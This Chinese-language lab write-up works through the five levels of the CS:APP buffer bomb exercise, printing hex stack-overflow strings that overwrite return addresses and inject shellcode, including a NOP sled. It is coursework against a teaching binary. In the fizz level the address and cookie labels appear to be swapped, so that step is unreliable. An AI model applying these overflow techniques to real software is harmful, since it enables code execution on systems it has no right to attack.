计算机系统基础：缓冲区炸弹实验

第一关smoke：

查询到：08048c18 : 即smoke首地址为0x8048c18，根据getbuf的汇编代码，可得buf缓冲区大小有0x28个字节，可得攻击字符串为0x28+4+4=48个字节，且最后四个字节为smoke的地址。攻击字符串为：
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 18 8c 04 08

第二关fizz：

与smoke类似，但fizz函数需要一个参数，值为cookie，
fizz地址为1005b2b7，cookie地址为08048c42，可得攻击字符串：
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
42 8c 04 08
00 00 00 00
b7 b2 05 10

第三关bang：

这一关需要将globalvalue 的值改成我们的cookie，
构造自定义攻击指令bang.s，指令 gcc -m32 -c bang.s
将assembly code写成machine code –>bang.o，
再用objdump -d bang.o 读取machine code。将指令代码抄入攻击文件，
除此之外我们还需要找到input string存放的位置作为第一次ret 指令的目标位置，可得攻击字符串：
a1 08 d1 04 08
a3 00 d1 04 08
68 9d 8c 04 08
c3 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 88
35 68 55

第四关boom：

getbuf() 结束后回到test()原本的位置（即call getbuf后的下一行），
并将cookie作为getbuf()的返回值传给test()。
知道了旧的ebp寄存器和正确的返回地址后构造攻击代码实施攻击。
攻击字符串为：
b8 b7 b2 05 10
bd e0 35 68 55
68 be 8d 04 08
c3 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 88
35 68 55

第五关kaboom

使用./bufbomb的-n参数，bufbomb不会再像从前哪样调用test()，而是调用testn()，testn()又调getbufn()。本级的任务是使getn返回cookie给testn()。听上去似乎与上一级没什么不同，但实际上该级的栈地址是动态的，每次都不一样bufbomb会连续要我们输入5次字符串，每次都调用getbufn()，每次的栈地址都不一样。查看getbufn()汇编代码，可得我们需填充0x4-（-0x208）= 0x20c = 524个字节的字符，再写4个字节覆盖getbufn()的返回地址。
攻击字符串为：

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 b8 
b7 b2 05 10 8d 6c 24 28 68 3a 
8e 04 08 c3 f8 33 68 55